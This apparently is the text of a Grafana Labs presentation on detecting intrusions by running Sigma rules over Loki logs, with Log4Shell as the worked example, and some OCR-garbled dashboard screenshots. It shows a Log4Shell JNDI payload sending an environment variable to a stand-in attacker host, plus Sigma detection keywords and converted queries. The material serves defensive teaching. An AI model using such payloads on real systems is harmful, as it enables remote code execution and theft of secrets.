Grafana Labs

Open source security event management

	Requests per Country 🗸
+ ted States: 26767 × - At lantic Ocean 4 for the states of the sta	A A A A A A A A A A A A A A A A A A A
🖯 Query 1 💭 Transform 0	
Data source LokiNGINX ~ (2) > Query options	MD = 1 Interval = 6h
~ A (LokiNGINX)	
Log browser > sum by (geoip_country_code) (count_over geoip_country_code != "" error=	er_time <mark>({fil</mark> ename=~`.*json "" [\$interval]))
Query type Range Instant Line limit ① auto Rese	olution ③ 1/1 ~
Legend ③ {{geoip_country_code}}	
+ Query + Expression 🛆	

Presenters



Bryan Boreham Distinguished Engineer

Nick Moore Senior Security Engineer

Overview

Motivation

Many security breaches can be detected in logs, but how do you collect together logs from all parts of your IT infrastructure, then scan for evidence?

Loki

Log aggregation, based on S3-type cloud storage with no full-text index.

Sigma

A platform agnostic format to define rules for compromise detection and threat hunting.

Putting it all together

How to use rules from the Sigma project in Loki searches.

Poll

What is your current Log Aggregation System(s)?



Poll

What is your current Log volumes?









public static Logger logger = LogManager.getLogger("Demo");

logger.info("query={}", request.query);

logger.info("\${jndi:dns://ns.local/\${env:HOSTNAME}}");



query = \${jndi:dns://attacker.server/\${env:SENSITIVE_VARIABLE}}



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"the single biggest, most critical vulnerability ever" - Amit Yoran, CEO, Tenable

"arguably the most severe vulnerability ever" - Dan Goodin, Senior Security Editor, Ars Technica

"most serious vulnerability I have seen" - Jen Easterly, Director, US CISA







Primer on Loki



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~ KPI's

Total requests O Last 24 hours		Requests per	r status code		NGINX logs in bytes	Total Bytes Sent	📊 Dashboard created by Ward Bekker (hope you like it!)				
202 K	HTTP Status: 200 9.17 κ 1.00 κ		HTTP Status: 304	HTTP Status: 400	12 мв	89.3 мв	Follow me on Twitter & Linkedin for Grafana Loki updates Check out my Grafana Loki video's on Youtube				
Realtime visitors O Last 5 minutes				0	# NGINX log lines	% of 5xx requests	% of requests by Googlebot				
51	9 HTTP Status: 404 HTTP Status: 413 3		60	Status: 500	10 к	0.5%	40.1%				
	Requests per Country				Top Countries		Recent requests				
+ NORTH AMERICA	QAROP	and the	Star And	100	CA	GET /a/1183700808/alternative-to	-mountain-sniper-fps-season-2017.html with HTTP status: 200				
	0.48	almat	ASIA		Sec N	GET /a/1358111232/alternative-to GET /a/1254875992/alternative-to	-cookie-cats-blast.html with HTTP status: 200 -enlight-quickshot-edit-photos.html with HTTP status: 301				
Allan		00	0 00		-DE	GT /q-ui-ui with HTTP status: 200 GT /q-ui-ui with HTTP status: 200 GT /x/13381872/x/ltrantive-to-dog-town-pet-simulator-games.html with HTTP status: 200 GT /x/144255819/slternative-to-moomoo-trade-stock-option.html with HTTP status: 200					
Oce		9	7.00		нк						
Pacific Ocean Pacific Ocean	AFRICA			ecific Ocean Pa	ng Ng	GET /q-chinese-chess-with-friend	s with HTTP status: 200				
	0		O de la como		-NL	GET /a/1484937345/alternative-to-	-ffbe-war-of-the-visions.html with HTTP status: 200 popmoney.html with HTTP status: 200				
SOUTH AMERICA					РН	GET /a/514417040/alternative-to-	soap-notes.html with HTTP status: 200 -cd-dvd-cover-pro-disc-label.html with HTTP status: 200				
North Contraction of the Contrac		Indian Ocea	III ALIATRALIA		RU	GET /q-c172r-poh with HTTP statu	s: 200				
			ADAUALIA		22	GET /q-jogbuddy-lite-for-women w	ith HTTP status: 200				
				•	us so	GET /a/1098219960/alternative-to GET /a/467758260/alternative-to- GET /id/1448496468/tarot-numerol	-la-tenuta-bacco.html with HTF status: 301 Vulcrum-abolia-data-collector.html with HTF status: 200 ogy-card-reading.html with HTF status: 200 ogg-card-reading.html with HTF status: 200				
						wei /q-instapan-create-panorama-	videos-for-instagram with hitp status, 200				

-						
Rea	uest	stat	ist	CS	over	time







~ Acquisition and Behaviour

Top 10 HTTP Referers		Top 10 User Agents	
HTTP Referrer	Requests +	User agent	Requests +
https://www.google.com/	47	Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.go	1124
https://de.appfelstrudel.com/a/988672949/alternative-to-hologram-3d-prank-simulator.html	16	Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)	386
https://de.appfelstrudel.com/a/657500465/alternative-to-my-talking-tom.html	16	Mozilla/5.0 (compatible: bindpot/2.0: +bttp://www.bing.com/bingbot.btm)	350

- 03/18 Project started by Tom and David
- 12/18 Launched at KubeCon NA
- 12/18 #1 on HN for ~12hrs!
- 04/19 KubeCon EU: context, live tailing
- 06/19 0.1.0 Beta release!
- 11/19 1.0.0 1.5TB/10 billion log lines a day in our Production cluster
- 08/20 1.6.0 10x metrics query performance, Lambda support

10/20 Loki v2.0!

....

04/23 Most recent release: Loki v2.8

https://github.com/grafana/loki

A bit of **history** Inital commit. **P** master \bigcirc v1.4.1 ... v0.1.0 tomwilkie committed on Apr 15, 2018 🚍 2018-03 Loki Design Documen 🗙 https://docs.google.com/document/d/11tjK_lvp1-SVsFZjgOTr1vV3... ☆ 2018-03 Loki Design Document File Edit View Tools Help • View only

Loki: like Prometheus, but for logs.

Design Document Tom Wilkie & David Kaltschmidt, March 2018

This document aims to explain the motivations for, and design of, the Grafana Loki service. document does not attempt to describe in depth every possible detail of the design, but hopefully explains the key points and should allow us to spot any obvious mistakes ahead of time.

Who did we make Loki for?



Ø

Who did we make Loki for?



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When adversaries take intrusive actions within systems, they almost inevitably leave **footprints**:

- Network connections, which record their **communications**
- Files, which can be identified by their **content**
- Logs, which can record their intended actions

However...

- Ubiquitous encryption has reduced the effectiveness of network intrusion detection
- Files can be difficult to reliably **fingerprint** or may not be present
- Logs are often viewed as *just* for developers

Sigma is for log files, what Snort is for network traffic, and YARA is for files.



Sigma Project History



- Started 2017 by Florian Roth & Thomas Patzke as a way to share log rules in a machine-readable and system-agnostic way
 - By October 2017, the sigma repository had 130 signatures and a converter into multiple query languages
- Introduced MITRE ATT&CK framework integration in July 2018
- New, more flexible framework for converting rules released 2020
- Recognised in 2023 as one of the top 10 open source security projects



Understanding the Loki model Prometheus but for Logs



Big Picture



How does Loki work?



Efficient logging

Loki does not index the text of logs. Instead, entries are grouped into streams and indexed with Prometheus-style labels.



Think of it more like a table of contents than an index



LOGS - STREAM

A log stream is a stream of log entries with the same labels

2019-10-13T10:01:02.000Z 2019-10-13T10:03:04.000Z 2019-10-13T10:05:06.000Z {app="nginx",env="production"} GET /about
{app="nginx",env="production"} GET /
{app="nginx",env="production"} GET /help

2019-10-13T10:01:02.000Z {app="nginx",env="development"} GET /users/1 2019-10-13T10:03:04.000Z {app="nginx",env="development"} GET /users/2



SELECTING LOG STREAMS WITH LOGQL

{container="redis", cluster=~"play.*"} |= "Failed" |~ "Invalid.*argument"

Label matchers

Filter expressions

- = contains string.
- != does not contain string.
- =~ matches regular expression.
- !~ does not match regular expression.

- |= contains string.
- != does not contain string.
- |~ matches regular expression.
- !~ does not match regular expression.

1PB -> 80TB -> 1TB -> 120GB+/s

Raw Logs

Label selector

Timeframe

Brute force search - heavily parallelized





Dissecting the Log4Shell Sigma Rule



title: Log4j RCE CVE-2021-44228 Generic

id: 5ea8faa8-db8b-45be-89b0-151b84c82702

status: test

description: Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell) references:

- https://www.lunasec.io/docs/blog/log4j-zero-day/

author: Florian Roth (Nextron Systems)

date: 2021/12/10

modified: 2022/02/06

tags:

- attack.initial_access
- attack.t1190
- detection.emerging_threats

logsource:

category: webserver

detection:

keywords:

- '\${jndi:ldap:/'
- '\${jndi:rmi:/'
- '\${jndi:ldaps:/'
- '\${jndi:dns:/'

filter:

- 'w.nessus.org/nessus'
- '/nessus}'

condition: keywords and not filter

falsepositives:

- Vulnerability scanning

level: high





https://github.com/SigmaHQ/sigma/blob/master/rules-emerging-threats/2021/Exploits/CVE-2021-44228/web_cve_2021_44228_log4j.yml

title: Log4j RCE CVE-2021-44228 Generic id: 5ea8faa8-db8b-45be-89b0-151b84c82702 status: test description: Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell) references:

- https://www.lunasec.io/docs/blog/log4j-zero-day/ author: Florian Roth (Nextron Systems) date: 2021/12/10 modified: 2022/02/06



tags:

- attack.initial_access
- attack.t1190
- detection.emerging_threats

logsource:

category: webserver

falsepositives:

- Vulnerability scanning

level: high



Reconnaissance	Resource Development 8 techniques	Initial Access 9 techniques	Execution 14 techniques	Persistence	Privilege Escalation 13 techniques	Defense Evasion 42 techniques	Credential Access 17 techniques	Discovery 31 techniques	Lateral Movement 9 techniques	Collection 17 techniques	Command and Control 16 techniques	Exfiltration 9 techniques	Impact 13 techniques
II Active Scanning (3)	Acquire Access	Drive-by Compromise	Cloud Administration Command	# Account Manipulation (5)	Abuse Elevation Control	Abuse Elevation Control Mechanism (4)	H Adversary-in- the-Middle (3)	# Account Discovery (4)	Exploitation of Remote Services	II Adversary-in-the- Middle (3)	Application ILayer	Automated Exfiltration (1)	Account Access Removal
Gather Victim Host Information (4)	Infrastructure (8)	Exploit Public- Facing Application	Command and Scripting	BITS Jobs	Mechanism (4) Access Token	Access Token Manipulation (5)	II Brute Force (4)	Application Window Discovery	Internal Spearphishing	Archive Collected Data (3)	Protocol (4) Communication	Data Transfer Size Limits	Data Destruction
Gather Victim Identity Information (3)	Compromise Accounts (3)	External Remote	Interpreter (9)	Boot or Logon Autostart	Manipulation (5)	BITS Jobs	Credentials from Password	Browser Information Discovery	Lateral Tool	Audio Capture	Through Removable Media	Exfiltration	Data Encrypted for Impact
Gather Victim Network	II Compromise Infrastructure (7)	Hardware Additions	Administration Command	Boot or Logon	II Autostart Execution (14)	Build Image on Host	Exploitation for	Cloud Infrastructure Discovery	Remote Service	Automated Collection	II Data Encoding (2)	Alternative Protocol (3)	U Data Manipulation (3)
Gather Victim Org Information (4)	Develop Capabilities (4)	II Phishing (3)	Deploy Container	Scripts (5)	Boot or Logon	Debugger Evasion Deobfuscate/Decode Files	Forced	Cloud Service Dashboard	Hijacking (2)	Browser Session Hijacking	Data Obfuscation (3)	Exfiltration Over C2 Channel	II Defacement (2)
Phishing for	Establish	Replication Through Removable Media	Exploitation for Client Execution	Browser Extensions	Scripts (5)	or Information	Authentication	Cloud Service Discovery	Remote Services (7)	Clipboard Data	Dynamic	Exfiltration	Disk Wipe (2)
Search Closed	Obtain	Bupply Chain Compromise (3)	Inter-Process Communication (3)	Software Binary	II System Process (4)	Direct Volume Access	Credentials (2)	Discovery	Replication Through	Data from Cloud Storage	Encrypted	Network Medium (1)	of Service (4)
Sources (2) Search Open Technical	Capabilities (6)	Trusted Relationship	Native API	" Create Account (3)	Domain Policy	Domain Policy	Modify	Container and Resource Discovery	Removable Media Software	Data from Configuration	Channel (2) Fallback Channels	Exfiltration Over Physical	Firmware Corruption
Databases (5)	Capabilities (6)	II Valid Accounts (4)	II Scheduled Task/Job (5)	Create or Modify System	Escape to Host	Execution Guardrails (1)	Authentication Process (8)	Debugger Evasion	Deployment Tools	Repository (2)	Ingress Tool	Medium (1)	Inhibit System Recovery
Websites/Domains (3)	3		Serverless Execution	Event Triggered	Event Triggered Execution (16)	Exploitation for Defense Evasion	Multi-Factor Authentication	Domain Trust Discovery	Content	Information Repositories (3)	Multi-Stage	Over Web Service (3)	Network Denial of Service (2)
Search Victim-Owned Websites			Shared Modules	Execution (16)	Exploitation for Privilege Escalation	File and Directory	Interception Multi-Eactor	File and Directory	Use Alternate Authentication Material on	Data from Local	Channels Non-Application	Scheduled	Resource Hijacking
			Tools	Services	Hijack Execution	Modification (2)	Authentication Request	Group Policy Discovery	indicensi (4)	Data from Network	Layer Protocol	Transfer Data to	Service Stop
			User Execution (3)	Flow (12)	Process	Hijack Execution	Network Sniffing	Network Service Discovery		Data from	Protocol Tunneling	Cloud Account	System Shutdown/Reboot
			Windows Management	Implant Internal Image	Injection (12)	Flow (12)	OS Credential	Network Share Discovery		Removable Media	II Proxy (4)		
			indumentation	Modify Authentication	Task/Job (5)	Indicator Removal (9)	Steal Application	Password Policy Discovery		Email	Remote Access Software		
				Office Application	Valid Accounts (4)	Indirect Command Execution	Steal or Forge	Peripheral Device Discovery		Input Capture (4)	Traffic Signaling (2)		
				" Startup (6)		II Masquerading (8)	Authentication Certificates	Permission Groups		Screen Capture	II Web Service (3)		
				Scheduled		Modify Authentication Process (8)	Steal or Forge Kerberos	Process Discovery		Video Capture			
				Server Software		Modify Cloud Compute	Steal Web Session	Query Registry					
				Component (5)		Modify Registry	Cookie	Remote System Discovery					
				" Signaling (2)		II Modify System Image (2)	Credentials (8)	System Information					

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detection:

keywords:

- '\${jndi:ldap:/'
- '\${jndi:rmi:/'
- '\${jndi:ldaps:/'
- '\${jndi:dns:/'

filter:

- 'w.nessus.org/nessus'
- '/nessus}'

condition: keywords and not filter



Using logs for intrusion detection has its own challenges:

- Log data has very little standardisation many formats, transformations, etc.
- Many log aggregation frameworks, like Loki, use bespoke query languages
 - An optimal SQL query might not be an optimal Loki query
- Unlike network traffic, there is often not a single location for logs
 - E.g., CSP logs are *often* stored apart from application logs

Sigma doesn't try to solve these problems by itself. The project includes an <u>extensible</u> <u>Python library</u> that enables additional:

- Backends to convert Sigma rules into a variety of query formats
- Pipelines to modify queries to reflect different logging configurations

Splunk:

index=* (("\${jndi:ldap:/" OR "\${jndi:rmi:/" OR "\${jndi:ldaps:/" OR "\${jndi:dns:/") AND
NOT ("w.nessus.org/nessus" OR "/nessus}"))

Elastic:

(((*\${jndi:ldap:/*) OR (*\${jndi:rmi:/*) OR (*\${jndi:ldaps:/*) OR (*\${jndi:dns:/*)) AND (NOT ((*w.nessus.org/nessus*) OR (*/nessus}*))))

Loki:

{job=~".+"} |~ `(?i)\\$\{jndi:ldap:/|\\$\{jndi:rmi:/|\\$\{jndi:ldaps:/|\\$\{jndi:dns:/` !~ `(?i)w\.nessus\.org/nessus` !~ `(?i)/nessus\}`



Sigma Plugin Demo WIP!







Summary

- Loki is an OSS tool for aggregating and searching logs.
- Sigma is a collection of rules to search for intrusions.
- Grafana has brought Sigma rules to Loki.
- Try it out!
 - https://github.com/grafana/loki
 - https://github.com/SigmaHQ/sigma
 - <u>https://github.com/grafana/detect-plugin</u>

https://grafana.com/

orafana Labs



Thank you